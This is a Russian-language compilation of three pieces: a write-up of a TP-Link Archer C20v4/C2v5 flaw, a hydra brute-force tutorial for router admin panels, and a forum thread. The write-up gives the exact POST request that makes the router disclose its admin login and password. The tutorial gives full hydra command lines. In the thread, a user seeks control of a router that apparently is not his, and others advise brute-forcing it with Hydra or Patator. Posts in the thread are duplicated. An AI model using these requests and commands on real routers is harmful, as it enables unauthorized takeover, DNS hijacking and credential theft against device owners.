По следам взлома tp-link
Взлом с подменой dns достаточно распространенный способ атаки. В первую очередь из-за его простоты. Суть атаки в изменении адреса dns в настройках сетевого оборудования жертвы на адрес dns-сервера злоумышленника с целью возврата ложных ip. А уже далее, кто во что горазд — от банальных фишинговых страничек соцсетей для кражи паролей до якобы провайдерской заглушки с требованиями оплаты.
Самое интересное во всем этом я считаю способы, с помощью которых боты, так или иначе, попадают на роутеры. И сегодня я про один из таких способов расскажу.
Что имеем:
- Новенький роутер Archer c20v4, только из коробки, с последней официальной прошивкой.
- Внешний ip адрес на wan интерфейсе и открытый web доступ.
- Достаточно сложный пароль, чтобы не беспокоиться о его подборе и ограниченный круг лиц знающий его.
- Спустя сутки: подмена dns и все запросы заворачиваются на заглушку.
Первым делом на тестовом пациенте были опробованы все известные старые баги, которые нашлись в гугле. Конечно же ничего не сработало.
Был найден скрипт на гитхабе (тык) который позволяет удаленно, от рута, выполнять команды на моделях C20i и C2. Немного не то, что нам нужно, но задало верное направление.
Во всех функциях были одинаковые «оболочки» для запросов — это POST запросы на url /cgi?2( и 7), «[название_настройки#0,0,0,0,0,0#0,0,0,0,0,0]» и особый referer.
Скачиваем с официального сайта tp-link исходные коды нашей прошивки и распаковываем. Т.к. линейка роутеров одна, то и ПО должно быть хоть чуточку похожим, верно?
grep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);
Бинго. Название файла как бы намекает, что дальше будет очень интересно. Находим в коде строчку, в которой видели заветное «cgi?2». Ниже приведена целиком функция:
function doSetUsrName() < var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() < if (xmlHttpObj.status == 200) < getUsrName(); >else return; >); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); >
Эта функция при выполнении вызывает другую — getUsrName().
function getUsrName() < var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() < if (xmlHttpObj.status == 200) < currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); >else return; >); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); >
Но просто с логином ничего не сделать. Нас интересует пароль. Мы знаем, что логин хранится в переменной adminName, внутри объекта USER_CFG. Поиск по исходникам дал следующие результаты: (оставлю только нужный результат)
grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml
Открываем reduced_data_model.xml и находим в нем следующий фрагмент кода:
Тут у нас хранится уже известная нам переменная «AdminName» и рядышком — AdminPwd. Похоже на правду.
Теперь нам осталось сформировать корректный POST-запрос, на который роутер нам ответить нужными данными. Обратимся снова к скрипту с гитхаба и посмотрим, как сделано там:
data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" )
По аналогии формируем свой запрос:
"[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n"
Ииииии отправляем. В Wireshark’e пакет выглядит вот так:
Внимательный читатель заметит, что POST-запрос был отправлен к «/cgi?1», а не как в скрипте к «/cgi?2». Всё верно. Нам нужно всего лишь узнать пароль. Получив данные для авторизации можно заниматься уже форменным безобразием.
И уже авторизованным сдираем любые данные, какие мы только посчитаем важными, посмотрев в файлике reduced_data_model.xml:
На данный момент исходные коды роутера C20v4 убраны с сайта Tp-Link и выложены вместо них коды V5. Но официальной прошивки пока, к сожалению, нет.
Хорошая новость: Данная уязвимость эксплуатируется только, если веб доступ открыт для всех.
Плохая новость: чьи-то боты уже стучаться по внешним адресам с правильными запросами.
Помимо модели ArcherC20V4 данной уязвимости так же подвержена модель ArcherC2V5.
Взлом «админки» роутера
В общем, решил я по своим нуждам покопаться в настройках роутера, вбиваю я всем знакомый адрес, а тут пароль спрашивают. Как быть? Ну, начал я перебирать пароли, а их количество слишком большое, что бы перебирать все и слишком маленькое, чтобы делать reset.
И я открыл google. После пары запросов я узнал о такой вещи как hydra. И тут началось: жажда открытий, поиски неизведанного и так далее.
Приступим
Первым делом мной был составлен словарь паролей, ни много, ни мало, аж на 25 комбинаций. Далее качаем либо Kali linux, либо саму Гидру (если вы пингвин у вас линукс). Теперь у нас два варианта (ну как два, я нашел информацию по двум вариантам).
Либо у вас вот такое диалоговое окно:
Либо логин и пароль запрашивает форма на сайте. Мой вариант первый, поэтому начнем с него. На нашем пути к «админке» стоит страж в виде диалогового окна. Это вид авторизации http-get.
Открываем терминал. Вводим:
hydra -l admin -P myPass.txt -s 80 192.168.1.1 http-get /
Где после «-l» идет логин, после «-P» словарь, после «-s» порт. Также в нашем распоряжении есть другие флаги:
-R восстановить предыдущую прерванную/оборванную сессию
-S выполнить SSL соединение
-s ПОРТ если служба не на порту по умолчанию, то можно задать порт здесь
-l ЛОГИН или -L ФАЙЛ с ЛОГИНАМИ (именами), или загрузить несколько логинов из ФАЙЛА
-p ПАРОЛЬ или -P ФАЙЛ с паролями для перебора, или загрузить несколько паролей из ФАЙЛА
-x МИНИМУМ: МАКСИМУМ: НАБОР_СИМВОЛОВ генерация паролей для брутфорса, наберите «-x -h» для помощи
-e nsr «n» — пробовать с пустым паролем, «s» — логин в качестве пароля и/или «r» — реверс учётных данных
-u зацикливаться на пользователя, а не на парлях (эффективно! подразумевается с использованием опции -x)
-C ФАЙЛ формат где «логин: пароль» разделены двоеточиями, вместо опции -L/-P
-M ФАЙЛ список серверов для атак, одна запись на строку, после двоеточия ‘:’ можно задать порт
-o ФАЙЛ записывать найденные пары логин/пароль в ФАЙЛ вместо стандартного вывода
-f / -F выйти, когда пара логин/пароль подобрана (-M: -f для хоста, -F глобально)
-t ЗАДАЧИ количество запущенных параллельно ЗАДАЧ (на хост, по умолчанию: 16)
-w / -W ВРЕМЯ время ожидания ответов (32 секунды) / между соединениями на поток
-4 / -6 предпочитать IPv4 (по умолчанию) или IPv6 адреса
-v / -V / -d вербальный режим / показывать логин+пароль для каждой попытки / режим отладки
-q не печатать сообщения об ошибках соединения
-U подробные сведения об использовании модуля
server цель: DNS, IP или 192.168.0.0/24 (эта ИЛИ опция -M)
service служба для взлома (смотрите список поддерживаемых протоколов)
OPT некоторые модули служб поддерживают дополнительный ввод (-U для справки по модулю)
Не мой, честно взят с Античата, с исправлением грамматических ошибок автора (Обилие знаков пунктуации я оставил). Интересно это можно считать переводом?
Нас встречает форма на сайте:
Такой метод авторизации — http-post-form, и тут нужно немного повозится, так как нам нужно понять, как браузер отправляет роутеру данные.
В данном случае и использовал браузер Chrome (его аналог Chromium в Kali Linux, ставится через apt-get install chromium).
Сейчас нужно сделать одну очень глупую вещь… указать неверный логин и пасс…
для чего увидим позже…
Нажимаем F12 что бы перейти в режим редактирования веб-страницы.
Переходим в Network → Включаем галочку Preserv log.
Вводим ложные логин и пароль…
Ну что за дела? Так не пойдет! Более того, после нескольких неудачных попыток входа, форма блокируется на 180 секунд.
Переходим во вкладочку HEADERS ищем строку:
Request URL:http://192.168.0.1/index.cgi
Отрезаем все до ip-адреса — /index.cgi… Поздравляю мы нашли первую часть скрипта авторизации… Идем дальше… Переходим к вкладке FORM DATA и изменяем режим отображения на VIEV SOURCE.
update_login=login&update_password=password&check_auth=y&tokenget=1300& update_login=login&update_password=password
Бинго! Мы нашли вторую часть скрипта авторизации! Еще чуть-чуть! теперь нужно найти страницу с сообщением об ошибке… Нужно нажать на вкладку ELEMENTS.
И выбрать элемент HTML кода (CTRL+SHIFT+C) и выбрать окно с сообщением об ошибки… в данном случае — Authentication failed!
и немножко правим… bad_auth — все! Ключ практически у нас в кармане… Теперь мы можем полностью написать строку авторизации:
index.cgi:update_login=login&update_password=password:bad_auth
Теперь нужно подставить вместо «login» — ^USER^ и вместо «password» ^PASS^ и тогда строка будет иметь вид:
index.cgi:update_login=^USER^&update_password=^PASS^:bad_auth
hydra -l admin -P router-pass.dic -t 1 -e nsr -vV -f -s 80 192.168.0.1 http-post-form "/index.cgi:update_login=^USER^&update_password=^PASS^:bad_auth"
Обратите внимание что между частями скрипта двоеточие! это обязательно! Кстати, блокировки формы через гидру не происходило… Это очень радует.
В работоспособности второго метода мне убедиться не светит, так как я не обладатель подходящей модели роутера. Придется довериться экспрессивному человеку с Античата.
Если кому интересно, будьте добры, проверьте и отпишитесь в комментариях. Я работал с роутером TL-WR1043N/TL-WR1043ND. Роутер с Античата — D-link300NRU.
Обход авторизации к админке роутера
Обойти авторизацию ?
Ты имеешь ввиду, что окно автризации не должно показываться и беспокоить тебя своим присутствием ?
Ты хочешь войти в WEB-интерфейс роутера точно так-же как на любой публичный сайт ?
Tayrus
Обойти авторизацию ?
Ты имеешь ввиду, что окно автризации не должно показываться и беспокоить тебя своим присутствием ?
Ты хочешь войти в WEB-интерфейс роутера точно так-же как на любой публичный сайт ?
Valkiria
Ответ на твой вопрос невозможно дать однозначно.
Это твой роутер или тебе нужно порлучить доступ на чужой ?
Имеешь ли ты физический доступ к роутеру ?
Если роутер чужой и удалённый, то какие меры были предприняты для взлома ?
Вот от этих ответов во многом зависит ответ на твой первостепенный вопрос.
Tayrus
Ответ на твой вопрос невозможно дать однозначно.
Это твой роутер или тебе нужно порлучить доступ на чужой ?
Имеешь ли ты физический доступ к роутеру ?
Если роутер чужой и удалённый, то какие меры были предприняты для взлома ?
Вот от этих ответов во многом зависит ответ на твой первостепенный вопрос.
Valkiria
Если ты имеешь доступ к роутеру только через Интернет, то пробуй брутфорсить программой Hydra или Patator.
Если ты находишься в радиусе действия Wi-Fi этого роутера, то пробуй взломать соответственно через Wi-Fi.
Tayrus
Если ты имеешь доступ к роутеру только через Интернет, то пробуй брутфорсить программой Hydra или Patator.
Если ты находишься в радиусе действия Wi-Fi этого роутера, то пробуй взломать соответственно через Wi-Fi.
У меня есть пароль от сетки, брутфорс тут увы не поможет, «пробуй взломать соответственно через Wi-Fi» как это можно осуществить?
Valkiria
Tayrus
Я знаю только о существовании сайта routerpwn.com, помогите если не сложно, дайте ссылки на информацию(гуглом пользоваться я умею, увы не нашёл, может слепой/)
The Codeby
Well-known member
Я знаю только о существовании сайта routerpwn.com, помогите если не сложно, дайте ссылки на информацию(гуглом пользоваться я умею, увы не нашёл, может слепой/)
Valkiria
Я знаю только о существовании сайта routerpwn.com, помогите если не сложно, дайте ссылки на информацию(гуглом пользоваться я умею, увы не нашёл, может слепой/)
Чтобы хоть как-то помочь тебе советом, ты ДОЛЖЕН обрисовать ситуацию до мелочей.
А я всю эту тему тем и занималась, что вытягивала по крупицам хоть что-то ))
У меня уже пальцы в мозолях от твоей тугодумности.
Может быть тебе проще спросить пароль у владельца роутера ?
Remir
И зачем лезть куда-то, когда здесь это информации хоть отбавляй! Подсказываю: тут есть такая кнопочка и называется она «Поиск».
Введи туда «взлом роутера» и получишь
Tayrus
Чтобы хоть как-то помочь тебе советом, ты ДОЛЖЕН обрисовать ситуацию до мелочей.
А я всю эту тему тем и занималась, что вытягивала по крупицам хоть что-то ))
У меня уже пальцы в мозолях от твоей тугодумности.
Может быть тебе проще спросить пароль у владельца роутера ?
Хорошо опишу все, у меня стоит задача получить контроль над роутером, т.е web интерфейс его(роутера) получить, чтобы я мог что-то изменить(ну к примеру перепрошить, пароль поменять и т.п) и так я получил пароль от сети и при подключении к 191.168.1.1 просит логин;пароль, стандартные все попробовал неудача, зайти в зону wi fi я могу(ну где роутер) я могу его даже увидеть, но физически контактировать никак, производитель Tp-Link, модель не знаю надеюсь теперь тебе понятна картина.
[doublepost=1513017854,1513017459][/doublepost]
И зачем лезть куда-то, когда здесь это информации хоть отбавляй! Подсказываю: тут есть такая кнопочка и называется она «Поиск».
Введи туда «взлом роутера» и получишь